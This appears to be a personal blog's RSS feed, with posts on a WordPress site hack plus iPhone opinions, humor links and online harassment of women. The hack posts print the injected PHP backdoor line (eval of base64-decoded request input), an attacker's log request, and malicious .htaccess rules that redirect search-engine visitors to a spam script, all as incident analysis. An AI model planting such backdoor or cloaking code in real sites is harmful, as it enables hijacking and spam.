<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>lauralemay :: blog &#187; Tech</title>
	<atom:link href="http://blog.lauralemay.com/category/tech/feed" rel="self" type="application/rss+xml" />
	<link>http://blog.lauralemay.com</link>
	<description></description>
	<lastBuildDate>Sun, 05 Feb 2012 00:09:14 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=</generator>
		<item>
		<title>hacked, the followup</title>
		<link>http://blog.lauralemay.com/2012/01/hacked-the-followup.html</link>
		<comments>http://blog.lauralemay.com/2012/01/hacked-the-followup.html#comments</comments>
		<pubDate>Wed, 04 Jan 2012 22:02:19 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[Meta]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://blog.lauralemay.com/?p=1945</guid>
		<description><![CDATA[(I am getting a lot of hits on this post from google. If you came here because you think your wordpress install has been hacked as well, make sure you also read Hacked! and Hacked, Again!) I&#8217;ve done nearly all the design updates I&#8217;m going to do to the blog for now although I have [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>(I am getting a lot of hits on this post from google.  If you came here because you think your wordpress install has been hacked as well, make sure you also read <a href="http://blog.lauralemay.com/2012/01/hacked.html">Hacked!</a> and <a href="http://blog.lauralemay.com/2012/01/hacked-again.html">Hacked, Again!</a>)</p>
<p>I&#8217;ve done nearly all the design updates I&#8217;m going to do to the blog for now although I have a plenty large To Do list left.  Sadly it&#8217;s an almost entirely different To Do list than I had before this mess happened.  </p>
<p>This is my technical followup to what happened; you can skip it if you don&#8217;t care about the details.  It is long (of course).  I&#8217;ll get back to talking about chickens and food soon enough.  </p>
<p><!-- more --></p>
<p>We ended yesterday with a complete reinstall of all the files on all my web sites, including a brand new version of WordPress and a new database for this blog.  In retrospect, this is what I should have done straight off on monday. The #1 thing I have learned from this is when in doubt, assume it is WordPress and nuke it from space.  </p>
<h2>Notes on WordPress Security<br />
</h2>
<p>I&#8217;m 99% sure that my hacker got into WordPress via a script called timthumb.  This is a known WordPress vector for abuse &#8212; tons of themes and plugins use this script. In my case it was my theme, Thesis, that used it.  <a href="http://markmaunder.com/2011/08/01/zero-day-vulnerability-in-many-wordpress-themes/">This timthumb page</a> has a lot of technical detail about why it is a problem, although the phrase &#8220;allowing hackers to upload and execute arbitrary PHP code&#8221; generally says it all.</p>
<p>There is a WordPress plugin called <a href="">Timthumb Vulnerability Scanner</a> that will check your entire WordPress installation for old versions of timthumb and made sure you are not subject to this hack.  Note that I was using a current version of a respected paid theme and the most recent version of WordPress and the timthumb vulnerability was still there.    </p>
<p>I also use the <a href="http://wordpress.org/extend/plugins/wp-security-scan/">wp-security</a> plugin for general WordPress security, which encourages you to make some of the more obvious changes to wordpress to keep hackers out (removing the admin account, renaming your database tables, etc.).  I admit I had not implemented everything that wp-security recommended, because I was lazy. But even if I had it would not have helped with the timthumb hack.   </p>
<p>The makers of wp-security  have a web site called <a href="http://www.websitedefender.com">Website Defender</a> that does much more in-depth security testing of your installation.  I hadn&#8217;t gotten around to signing up for or installing the Website Defender tools (it requires some PHP to be placed on your web site, which, frankly, worried me right there).  But a few people on twitter recommended it, so once I got my new  software installed I set it up, and it looks MUCH more comprehensive for protecting WordPress.  I kind of consider it anti-virus software for WordPress.  They can keep track of new vulnerabilities so I don&#8217;t have to.  </p>
<h2>Lurking Horror in Non-Static Static HTML<br />
</h2>
<p>I had been worried yesterday that my hacker was somehow able to modify files in my static HTML sites (my www.lauralemay.com and work.lauralemay.com sites) from the hacked WordPress blog site. This led me to believe that I actually had a worse hacker than just a web-based script-kiddie.  It turns out I was wrong.  PHP was the problem, and I had PHP everywhere that I just didn&#8217;t know about or wasn&#8217;t paying attention to.  This was my fault for not being more diligent.   </p>
<p>In the case of my www site, I once ran Movable Type there, and although I had turned off the itself software years ago I still had the files sitting around in the directory and accessible from the web.  Tons of PHP floating around in there.  This was dumb of me to keep around &#8212; especially since it was a very old version of Movable Type.  </p>
<p>I was sure that my work site was safe &#8212; I wrote all that myself, in plain HTML and CSS.  And then buried deep in a sub-sub-sub directory I found one PHP file that Dreamweaver of all things had written as part of &#8220;design notes&#8221; for the site.  I know there was one time I used DreamWeaver for the site but it was years ago and I thought I had long since deleted all those extra notes directories.  ONE FILE I didn&#8217;t even know was there, but the hacker scripts found it, and that was all it took.  (Fortunately all I had to do was trash that one file and that was the end of it.)  </p>
<h2>I See You<br />
</h2>
<p>While I was sitting around waiting for stuff to install and reimport and whatnot I got to thinking that maybe there were traces of my hacker in my access and error logs.  Fortunately this is not a high-traffic web site (hah), so I could grep out typical requests and page through the rest of my logs without having to look at a zillion lines.  A whole lot of lines like this one immediately stood out:</p>
<pre>
46.37.184.254 - - [04/Jan/2012:03:10:38 -0800] "GET /wp-admin/includes/schema.php?
img_id=1f3870be274f6c49b3e31a0c6728957f&#038;mod_content=ZWNobyAiZ29vZ2xlZWVlIjs=
HTTP/1.0" 301 572 "http://facebook.com/" "Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 6.1; Win64; x64; Trident/4.0; .NET CLR 2.0.50727; SLCC2; .NET CLR
3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C)"
</pre>
<p>I know of no legitimate reason for anyone to request anything inside wp-admin unless they are actually administering the site.  There&#8217;s especially no reason to request schema.php, and no reason at all to give it arguments (img_id and mod_content).  I had a copy of my hacked site on my local machine, and I took a look at schema.php.  Bingo.  Right at the top of the file, above the comments:</p>
<pre>
&lt;?php if((md5($_REQUEST["img_id"]) == "ae6d32585ecc4d33cb8cd68a047d8434")
&amp;&amp; isset($_REQUEST["mod_content"])) { eval(base64_decode($_REQUEST
["mod_content"])); exit(); } ?&gt;
</pre>
<p><code>eval(base64_decode</code> you say?  I don&#8217;t think so.  I searched my entire blog site, and found about ten PHP files all over the place that had these lines scribbled at the start.  Then I looked through my log files and there was my hacker, always at the same IP address, always pinging those same hacked files.  </p>
<p>None of this actually really mattered, since I had trashed all the hacked filed when I reinstalled WordPress.  But one of the first things I did when my new site was set up was to block that IP address.  And today as I watch my logs roll by I am pleased to see <code>client denied by server configuration</code> coming up again and again.  </p>
<h2>Feeeelings</h2>
<p>I&#8217;m not feeling the least bit confident about web software right now, and thinking about the security problems of complex web applications in general is making me break out in hives.  It seems that the more complex a web app is the more likely it is that someone out there is going to fuck with it, and I just don&#8217;t have the time for that.  I went to shared hosting precisely because I was tired of being my own sys admin.  I can do it, but I&#8217;m not all that good at it, and I don&#8217;t want to.  I want to write.  </p>
<p>On the other hand, the idea of giving up all the administration and putting all my stuff in the cloud also doesn&#8217;t give me happy warm fuzzies.  Because of course in that situation the cloudmasters are hadooping away on everything I do and generating all sorts of valuable advertising thneeds.</p>
<p>Either way it seems I&#8217;m eventually going to be pwned by someone.</p>
<p>grumble.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lauralemay.com/2012/01/hacked-the-followup.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>hacked!</title>
		<link>http://blog.lauralemay.com/2012/01/hacked.html</link>
		<comments>http://blog.lauralemay.com/2012/01/hacked.html#comments</comments>
		<pubDate>Tue, 03 Jan 2012 04:55:00 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[Meta]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://blog.lauralemay.com/?p=1934</guid>
		<description><![CDATA[(I am getting a lot of hits on this post from google. If you came here because you think your wordpress install has been hacked as well, make sure you also read Hacked, Again! and Hacked, the Followup) So, I had a fun afternoon, how about you? A week or so ago, I noticed an [...]]]></description>
			<content:encoded><![CDATA[<p></p><p>(I am getting a lot of hits on this post from google.  If you came here because you think your wordpress install has been hacked as well, make sure you also read <a href="http://blog.lauralemay.com/2012/01/hacked-again.html">Hacked, Again!</a> and <a href="http://blog.lauralemay.com/2012/01/hacked-the-followup.html">Hacked, the Followup</a>)</p>
<p>So, I had a fun afternoon, how about you?  </p>
<p>A week or so ago, I noticed an odd thing:  Google Reader had stopped updating my blog feeds.  Around that time I had been mucking with the blog feeds (see Housekeeping) so I figured maybe I had confused Google Reader, and if I ignored it, maybe it would go away.  </p>
<p>Hint:  if Google gets annoyed at your web site, perhaps there is something wrong with your web site.  </p>
<p>Then yesterday I noticed that if I unsubscribed to my blog feed in Google Reader and resubscribed to it, the title to my blog would not come up.  Instead Google Reader decided the title was &#8220;Personal Creations Elmo, Consumer Payday Loans &#8211; $300 &#8211; $2500.&#8221;</p>
<p>I became indignant.  My blog looked fine to me.  It looked fine from a variety of other locations.  The code looked fine if I grabbed it with curl.  Something was wrong with Google.  </p>
<p>Hint:  It&#8217;s unlikely something is wrong with Google.  Something might be wrong with your site.  </p>
<p>Then it got worse and it spread to my search results:  </p>
<p><img src="http://blog.lauralemay.com/wp-content/uploads/2012/01/20121googlesearch.gif" alt="Googlesearch" border="0" width="413" height="414" /></p>
<p>At the same time a friend sent me a screen shot of my web site as he saw it:</p>
<p><img src="http://blog.lauralemay.com/wp-content/uploads/2012/01/20121Screenshot-5-1.png" alt="Screenshot 5 1" border="0" width="500" height="312" /></p>
<p>Yeah, I got hacked.  But it was a selective hack;  only the google and yahoo crawlers and referers from google and yahoo saw it.  (no one actually uses the Yahoo search engine.)  </p>
<p>I spent the day cleaning up from this hack, including doing it twice because it came back.  I still don&#8217;t know where it came from or if its going to come back again.  This was not a lot of fun.</p>
<p>I googled what I found and turned almost no information at all;  no exploits, no descriptions, no patches, nothing.  I don&#8217;t know if what I had was new, or if it was obscure, or what.  Technical details in the More part of this post.<span id="more-1934"></span>The changes I found affected three sites on my web host:  one wordpress site (this blog) and, more worrisome, my www and work sites, which are entirely static HTML files &#8212; no PHP, no databases, just flat HTML.  </p>
<p>On all three sites the hack added or modified an .htaccess file, adding rewrite rules.  The modification dates of the files were not recent; they seemed to have picked a date and time that would not stand out (eg if every other file in the directory was modified on April 23, 2010, that was the modified date the .htaccess had).  It also added a PHP file to the top level of the domain.  For wordpress, that file was wp-stat.php (NOT wp-stats.php);  for the static sites it was common.php.  The rewrite rules in htaccess were similar for both versions:  </p>
<pre>
# WordPress search queries statistic module
<ifmodule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo) [OR]
RewriteCond %{HTTP_REFERER} (google|aol|yahoo)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC]
RewriteCond %{REQUEST_FILENAME} !wp-stat.php
RewriteCond %{DOCUMENT_ROOT}/wp-stat.php -f
RewriteRule ^.*$    /wp-stat.php [L]
</ifmodule>
</pre>
<p>The wp-stat file is a base64 encoded PHP file.  (hint:  random files with base 64 encoding are probably up to no good).  I ran it through a base 64 decoder and got a self-decrypting JavaScript file (hint:  ditto).  There were only a few readable strings in that file, most obviously the string &#8220;VASH NE PODDERZHIVAET ETO.&#8221; Googling that turned up only two references.  <a href="http://pastebin.com/EA06hrcp">This is one</a>.  That is the same script.    </p>
<p>I deleted the file and fixed my .htaccess files.  Because this hack crossed all the boundaries of my web sites and because the modification dates were in the past, I suspected a worse break-in than just a wordpress hack.  I changed every password on everything &#8212; my shell account, my mySQL database account, all my wordpress accounts. </p>
<p>While I was poking around looking for other suspicious things that might be going on, the hack put itself back: it remodified all my .htaccess files and reinstalled the wp-stats and common.php files.  Dammit.  </p>
<p>Finally, suspicious of wordpress altogether, I also blew away my database, went back to an earlier backup, and reconstructed the more recent posts via wordpress import/export.  </p>
<p>I removed write access to the .htaccess files (chmod 0444) and either that, blowing away the wordpress database, or changing all my passwords), seems to have stopped it for now &#8212; at least it hasn&#8217;t come back in the last few hours.  We&#8217;ll see what happens overnight.  </p>
<p>If anyone has any other ideas I&#8217;d love to hear them.  </p>
<p>Google Reader seems to have rediscovered my feeds.  Google search is still a bit behind.  </p>
<p>I have no information on consumer payday loans.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lauralemay.com/2012/01/hacked.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>why I am not buying an iPhone</title>
		<link>http://blog.lauralemay.com/2007/06/why-i-am-not-buying-an-iphone.html</link>
		<comments>http://blog.lauralemay.com/2007/06/why-i-am-not-buying-an-iphone.html#comments</comments>
		<pubDate>Wed, 27 Jun 2007 14:40:36 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[Reviews]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://wptest.lauralemay.com/2007/06/why-i-am-not-buying-an-iphone.html</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><blockquote><p><b>Update</b>:  Damn, this is a popular post.  I am replying to comments below  but I should note that I am not an iPhone expert.  I have no special  knowledge.  I&#8217;m watching the news and the videos and reading the blogs like everyone else is.  If you&#8217;re here looking for iPhone information consider the <a href="http://en.wikipedia.org/wiki/IPhone">page on the iPhone</a> on wikipedia which has collected a lot of what is currently known about it.  Keep in mind also that there&#8217;s a whole lot that ISN&#8217;T known and won&#8217;t be known until the iPhone is released on friday and people actually take it apart and play with it.</p>
<p>Please note also that if you spam my blog with iPhone questions you&#8217;ve asked on every other blog that mentions the iPhone I will delete you.  That&#8217;s really rude.
</p></blockquote>
<p>I&#8217;ve been asked a lot over the last week if I am going to be buying an iPhone, and twice if I&#8217;m going to be camping out to buy an iPhone.  <a href="http://blog.lauralemay.com/2006/07/notes_on_a_new_toy_part_1_cell_1.html">For some reason</a>,<a href="http://blog.lauralemay.com/2006/07/notes_on_a_new_toy_part_2_gadg.html"> I can&#8217;t imagine why</a>, she said, innocently, I seem to have <a href="http://blog.lauralemay.com/2006/07/notes_on_a_new_toy_part_3_aqui_1.html">acquired the reputation</a> for being <a href="http://blog.lauralemay.com/2006/07/really_nifty_nokia_e70_things.html">kind of a cell phone freak</a>.</p>
<p>I am not going to buy an iPhone, at least not this version.  I am not an iPhone Hater, as those who lust for the iPhone are caling the doubters, but I personally feel little iPhone lust.  My reasons:</p>
<ul>
<li>The virtual keyboard.  I&#8217;m a heavy smartphone keyboard user;  I am a double-thumb typer and I rely on the feel of the keys to type fast and accurately.   The word on street so far is that the iPhone&#8217;s virtual keyboard takes some getting used to but is not as bad as it looks, especially if you trust the error correction to work for you.   I would like to see it for myself, and I would like real people to use it for a while and to express real world opinions (can the blackberry people use it?  That&#8217;s what I want to know).  I&#8217;m also suspicious that any virtual keyboard will ever be as comfortable to type on as a real keyboard with pressable keys.  I have a hell of a time with real full size keyboards that do not have good tactile feedback &#8212; the joints in my hands hurt.   Given how often I type and my experiences over the years with stress injuries in my hands this is something I pay attention to.  I do not want a phone that will land me in physical therapy, no matter how cool it is.
</li>
<li>The slow data connection.  I was stunned when I heard in the original iPhone announcement that they were going with an EDGE cell connection.  AT&#038;T has a fast HSDPA 3G network in most major markets &#8212; I cannot comprehend why they didn&#8217;t use it.  Apple seems to be blithely assuming that you can drop down to wifi at any time and then the connection will be speedy but as someone who has had a wifi phone for the last year I can assure future iPhone users that free and open wifi connections are not as ubiquitous as you might think, even in major urban areas.  You will have to rely on EDGE, and EDGE is slow.  I have EDGE with T-mobile and it is acceptable if you&#8217;re patient, but you have to be very patient.  If you&#8217;re used to broadband or an EVDO connection it is going to drive you nuts.
</li>
<li>I hate AT&#038;T.  OK, I hate all cell carriers.   They are all evil.  AT&#038;T is perhaps more grossly incompetent and money-grubbing than sheer evil, but AT&#038;T is still a big vote for iPhone: NO right there.   It&#8217;s going to take an awful lot to get me to sign up with AT&#038;T, especially with a two-year contract, although now that they&#8217;ve announced the iPhone plans and they are remarkably simple and not stupidly named (you have the &#8220;Elbows Landscape plan with My Hazelnuts&#8221;) I&#8217;m a bit less suspicious.  To be fair, I would probably have precisely this same argument with any carrier at all, including T-Mobile where I am now.
</li>
<li>$500+ for a phone no one has even seen.  Speaking as someone who spent $500 on a phone last year that I hadn&#8217;t even seen this may seem like an odd complaint.  I spent full retail on an unlocked, untethered phone, and I would do it again.  I didn&#8217;t spend $500 on a phone that would also lock me into a $2000 long term contract with a carrier whose service I know isn&#8217;t all that great.
</li>
<li>It is a first generation Apple device.  I have had on-and-off experiences with first generation Apple devices;  My first generation PowerPC mac was a complete mess;  my first generation iPod was replaced once under warranty and broke again a few months later;  my first generation 12&#8243; powerbook was rock solid for its entire useful life and I loved it so much I bought another one.   The iPhone is new enough in a variety of ways &#8212; and cell phones are integral enough to my life that I would really hurt if it broke &#8212; that I think I&#8217;ll sit out the first generation.
</li>
<li>It&#8217;s just not that huge a revolution right now.  It is an absolutely beautiful phone.  The interface is gorgeous and there are obviously some really new ideas in interaction design there that are truly fascinating.  Once the crowds in the stores die down I will be there in the Apple Store playing with it.  I can definitely see buying one later on.  But now?  I have email and the web and Google Maps and text messaging on my phone.  I have a camera and music.  And I also have video and games and third-party applications.  The interface isn&#8217;t as pretty on my Nokia.  The screen is really small.  The apps could be better designed and more useful.  But its good for now.
</li>
</ul>
<p>I&#8217;ll wait.</p>
<p>In the meantime I do seem to have accidentally acquired a <a href="http://www.nokiausa.com/link?cid=EDITORIAL_185267">Nokia Internet Tablet</a>.  Its a wifi-based web browser and email device with a big high resolution screen that runs linux.  I&#8217;m not exactly sure what came over me there.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lauralemay.com/2007/06/why-i-am-not-buying-an-iphone.html/feed</wfw:commentRss>
		<slash:comments>8</slash:comments>
		</item>
		<item>
		<title>very, very well documented</title>
		<link>http://blog.lauralemay.com/2007/05/very-very-well-documented.html</link>
		<comments>http://blog.lauralemay.com/2007/05/very-very-well-documented.html#comments</comments>
		<pubDate>Wed, 30 May 2007 02:38:56 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[Links]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://wptest.lauralemay.com/2007/05/very-very-well-documented.html</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><p>And while I&#8217;m on the subject of documentation, here&#8217;s a great story from the former The Daily WTF.com, now known (sadly) as WorseThanFailure.com, called <a href="http://worsethanfailure.com/Comments/Very,_Very_Well_Documented.aspx">Very, Very Well Documented</a>.</p>
<blockquote>
<p>George&rsquo;s contact at the Air Force was a gruff, old general with a vast knowledge of aerial warfare and forty years experience in the service. Naturally, he was very skeptical of the new guys&rsquo; ability to develop a &lsquo;military grade&rsquo; product.&#8217; After all, they hadn&rsquo;t spent a single day in uniform. But George&rsquo;s team quickly won him with a demonstration: one month after being awarded the contract, they had fully replicated the prototype plane&rsquo;s specifications in their software. [..]</p>
<p>&lsquo;Gentlemen,&rsquo; the general started during one of their wrap-up meetings, &lsquo;you have done very well. I am very impressed. There is, however, one problem. You did not provide nearly enough documentation.&rsquo; [...]</p>
<p>&lsquo;You see gentlemen,&rsquo; the general continued, &lsquo;for such expensive program, we require at least eight meters of documentation.&rsquo; He stretched his arms as far as he could to illustrate. Clearly, he was not joking. </p>
</blockquote>
<p>(read <a href="http://worsethanfailure.com/Comments/Very,_Very_Well_Documented.aspx">the rest of the story</a>)</p>
<p>(I got it from <a href="http://worsethanfailure.com/">The Daily WTF</a>.)</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lauralemay.com/2007/05/very-very-well-documented.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>the true story of the emu press</title>
		<link>http://blog.lauralemay.com/2007/05/the-true-story-of-the-emu-press.html</link>
		<comments>http://blog.lauralemay.com/2007/05/the-true-story-of-the-emu-press.html#comments</comments>
		<pubDate>Wed, 30 May 2007 02:31:12 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[Links]]></category>
		<category><![CDATA[Tech]]></category>
		<category><![CDATA[Writing]]></category>

		<guid isPermaLink="false">http://wptest.lauralemay.com/2007/05/the-true-story-of-the-emu-press.html</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><p>A long time ago here <a href="http://blog.lauralemay.com/2004/02/freshly_squeezed_emu_juice.html">I posted</a> about the manual for the <a href="http://media-server.amazon.com/media/mole/MANUAL000019933.pdf">MN-156 Reciprocating Emu Press</a>, which was mysteriously stored on Amazon&#8217;s media servers.  I ended that post wondering what the real story was behind this amusing parady of a user manual.</p>
<p>A while ago mad_eponine, the author of the Reciprocating Emu Press manual, sent me email pointing me to <a href="http://mad-eponine.livejournal.com/16518.html">this livejournal post with the real story</a>, including how it ended up at Amazon.  It is brilliant.  I am happy to have played a small role in the saga.</p>
]]></content:encoded>
			<wfw:commentRss>http://blog.lauralemay.com/2007/05/the-true-story-of-the-emu-press.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>iphone user&#8217;s guide</title>
		<link>http://blog.lauralemay.com/2007/05/iphone-users-guide.html</link>
		<comments>http://blog.lauralemay.com/2007/05/iphone-users-guide.html#comments</comments>
		<pubDate>Wed, 16 May 2007 04:05:10 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[Links]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://wptest.lauralemay.com/2007/05/iphone-users-guide.html</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><p><a href="http://www.mcsweeneys.net/2007/1/11cahr.html">The iPhone, a User&#8217;s Guide (McSweeney&#8217;s)<br />
</a></p>
<blockquote><p>
I . Introduction<br />
II. Turning on the iPhone<br />
III. Making a call using the iPhone<br />
&#8230;<br />
XI. Using the iPhone to explain how the internal board committee of Apple Computer Inc. (before the name change) headed by Al Gore could exonerate Steve Jobs of any wrongdoing in the options-backdating scandal<br />
&#8230;<br />
XVII. Using the iPhone to assist Nicole Kidman in playing a frankly commercial Mrs. Coulter in the new adaptation of The Golden Compass without losing the anti-Miltonian vibe or the stuff about the Magisterium<br />
&#8230;<br />
XIX. Using the iPhone to learn whether Ehud Barak ever considered adopting Barack Obama and changing the Illinois junior senator&#8217;s name to Barack Barak
</p></blockquote>
]]></content:encoded>
			<wfw:commentRss>http://blog.lauralemay.com/2007/05/iphone-users-guide.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>kathy sierra, or, imminent death of the net predicted</title>
		<link>http://blog.lauralemay.com/2007/03/kathy-sierra-or-imminent-death-of-the-net-predicted.html</link>
		<comments>http://blog.lauralemay.com/2007/03/kathy-sierra-or-imminent-death-of-the-net-predicted.html#comments</comments>
		<pubDate>Wed, 28 Mar 2007 17:34:13 +0000</pubDate>
		<dc:creator>laura</dc:creator>
				<category><![CDATA[Personal]]></category>
		<category><![CDATA[Tech]]></category>

		<guid isPermaLink="false">http://wptest.lauralemay.com/2007/03/kathy-sierra-or-imminent-death-of-the-net-predicted.html</guid>
		<description><![CDATA[
]]></description>
			<content:encoded><![CDATA[<p></p><p>I&#8217;m coming in late to comment on the Kathy Sierra situation.  The wail of shock and anguish that passed over the internet about it has started to subside, and there&#8217;s already been a whole lot (a <a href="http://blogsearch.google.com/blogsearch?hl=en&amp;ie=UTF-8&amp;oe=UTF-8&amp;tab=wb&amp;q=%22kathy+sierra%22&amp;scoring=d&amp;sa=N&amp;start=10">WHOLE lot</a>) said on the topic.</p>
<p>If you missed it, here&#8217;s the story:  Kathy Sierra, co-creator of the Head First line of computer books and one of my favourite writers, has been receiving death threats and harassment on her blog and elsewhere on the net.  Because of it she cancelled her keynote and tutorials at Etech and was considering giving up blogging altogether.  She talked about it on her blog in a post titled <a href="http://headrush.typepad.com/creating_passionate_users/2007/03/as_i_type_this_.html">Death threats against bloggers are NOT &#8220;protected speech&#8221;</a> &#8212; warning, there are some disturbing words and images here, and there are over 1000 comments so its very long to load.</p>
<p>This, in turn, is a very long post and not what I usually write about on this blog, so see more after the jump.  (feed readers and livejournallers, you probably know by now that you get the whole thing and there is no &#8220;jump&#8221;).</p>
<p><span id="more-1616"></span></p>
<p>I&#8217;ve been trying to figure out what to write about this, if anything.  When Kathy first posted this story I got so mad I had to go take a walk to calm down.  For a while I had a hard time thinking about anything other than this;  I obsessively followed the posts about it;  I had a hard time sleeping.  I got all militant and composed a lot of unfinished posts in ALL CAPS about how we needed to STAND UP and FIX THE NET to because this kind of behavior is NOT ACCEPTABLE.</p>
<p>Now two days later, now that all my anger has worn off, I feel kind of tired and sad and depressed and hopeless.  Fix the net, right, ha ha, sorry, never mind.</p>
<p>Mostly as I read the comments on Kathy&#8217;s post and on other blogs I have noticed a kind of interesting but obvious breakdown.  Men, in general, are shocked and horrified that this kind of harassment goes on at all.  Women are of course shocked and horrified at Kathy&#8217;s situation, but they also kind of nod ruefully and say yeah, it happened to me, too.</p>
<p>I honestly didn&#8217;t think this was a secret, that women get disproportionally picked on in the internets.    I thought it was a big fat obvious fact.</p>
<p>Do I get stalked and harassed and picked on on the internet?  Do I get death threats?  Sure. I started getting them the week I first posted to Usenet twenty years ago, and I&#8217;ve been getting them ever since.   It was worse during the usenet era, and WAY worse when I was selling a lot of books.  Its pretty quiet these days now that I&#8217;m mostly anonymous and I write a mostly personal journal blog.  No one cares about cat posts; there are bigger targets.  But it still happens.</p>
<p>Most of it is just casual drive-by stupid misppelled email and blog comments of the &#8220;you dumb slut you should die&#8221; variety.  Occasionally it gets creepy, sexually explicit, detailed, and ugly.  Occasionally it really hits a nerve.   I&#8217;ve been fortunate that I&#8217;ve never been stalked outside of email, or targeted for photoshopping the way Kathy was.  Somehow it seems much closer to home,  much more scary and real, when they start tampering with your image.</p>
<p>But even though all I&#8217;ve had is silly email and blog comments I would be lying if I said I was immune to it, that I just blithely delete it all and move on with my life, or that the barrage of it when I was a popular author wasn&#8217;t a factor in wanting to maybe not be so popular anymore.  You always wonder if its THIS particular scary nutbag who&#8217;s going to be the one to go beyond recreational typing.  There&#8217;s always a small nagging fear.</p>
<p>Honestly until this week I thought this sort of constant harassment was so common and so obvious it wasn&#8217;t even worth mentioning.  It had gone on for so long and I had gotten so used to it that it hadn&#8217;t occurred to me that this is anything other than what it means to be female on the internet.  I told Eric about it and he asked me, aghast, why I had never mentioned that I get death threats.  We&#8217;ve known each other for fifteen years.  It just never came up.  The shocked reactions internet-wide to Kathy&#8217;s post have made me realize that hm.  maybe this isn&#8217;t normal.  And maybe it shouldn&#8217;t be.</p>
<p>On the other hand,  as I read other reactions to Kathy&#8217;s post on blogs, in comments, across the web, it seemed like some other people picked up the militant FIX THE WEB meme and were talking about how we needed LAWS to prevent this kind of thing, that people shouldn&#8217;t be ALLOWED to post just ANYTHING on the net and that there should be some way to TRACK people&#8217;s identity to keep them from being mean on the net.</p>
<p>Well, that&#8217;s not what I was thinking of when I was angry.  We can&#8217;t control identity on the Internet without also creating a police state in real life.  Duh.  And just forcing identity does not prevent meanness &#8212; on the Well, the old-skool walled-garden BBS where I&#8217;ve been a member for a thousand years, anonymity is banned, and there are still plenty of assholes willing to step up and be mean.  Plus anonymity is not necessarily the problem; you can have an online identity that is effectively anonymous and still have a consistent, reasonable, intelligent, not insane rapist serial killer online presence.</p>
<p>On the other hand, I do believe that easy anonymity does have a tendency to breed bad manners.  I&#8217;ve seen it happen over and over again on BBSes, usenet, IRC, forums, blogs, Amazon comments.  Couple easy anonymity with a community that doesn&#8217;t have any social norms for telling the assholes to stop being assholes and you get a sort of acceptance of bad behavior (take, for example, the slashdot or digg forums, which are notorious for being hostile to women.  That is the culture there, its accepted, it is normal, so it goes on).  When you get a community where the stated GOAL is to be snarky and insulting,  as was apparently the case on the &#8220;meankids&#8221; site &#8212; then how can anyone be remotely surprised when the tone turns ugly.  It is a classic example of mob mentality.</p>
<p>Chris Locke, RageBoy, who was apparently related in some way to the sites where Kathy was harrassed (given the confusion around the facts I really hesitate to make any claims stronger than that), ironically brought up the Well in <a href="http://www.rageboy.com/2007/03/re-kathy-sierras-allegations.html">his defense of the sites in question</a>.  He talked about &#8220;You Own Your Own Words&#8221; being the core ethos of the Well and how he had taken that to be a guiding principle.  He interprets it as &#8220;I will not take responsibility for what someone else said, nor will I censor what another individual wrote.&#8221;   But there&#8217;s two problems with that statement.  The first is that YOYOW doesn&#8217;t mean you disclaim or censor anyone else&#8217;s writing.   It means literally what it says &#8212; you have copyright ownership over your own words.  No one else can take them, use them or post them anywhere outside the Well without your permission.  The other problem is that YOYOW is only one of the well&#8217;s core ethos&#8230;es (ethosii?).  The other one is that no one is anonymous, so you MUST take ownership of your words.  The O in YOYOW has meaning.  Your real name it attatched to every single post.  Which brings us full circle to the notion of identity on the internet, and standing up for what you say.</p>
<p>I don&#8217;t have a magic beans, golden ticket solution to solving any of these problems.  The dark cynic in me believes that after everyone&#8217;s militant anger over Kathy&#8217;s post wears off some other bright shiny thing will come along for the blogger crowd and nothing will ever happen and we&#8217;ll all be back to angry email and ugly photoshop and frightening women away from participating in the net in no time flat.</p>
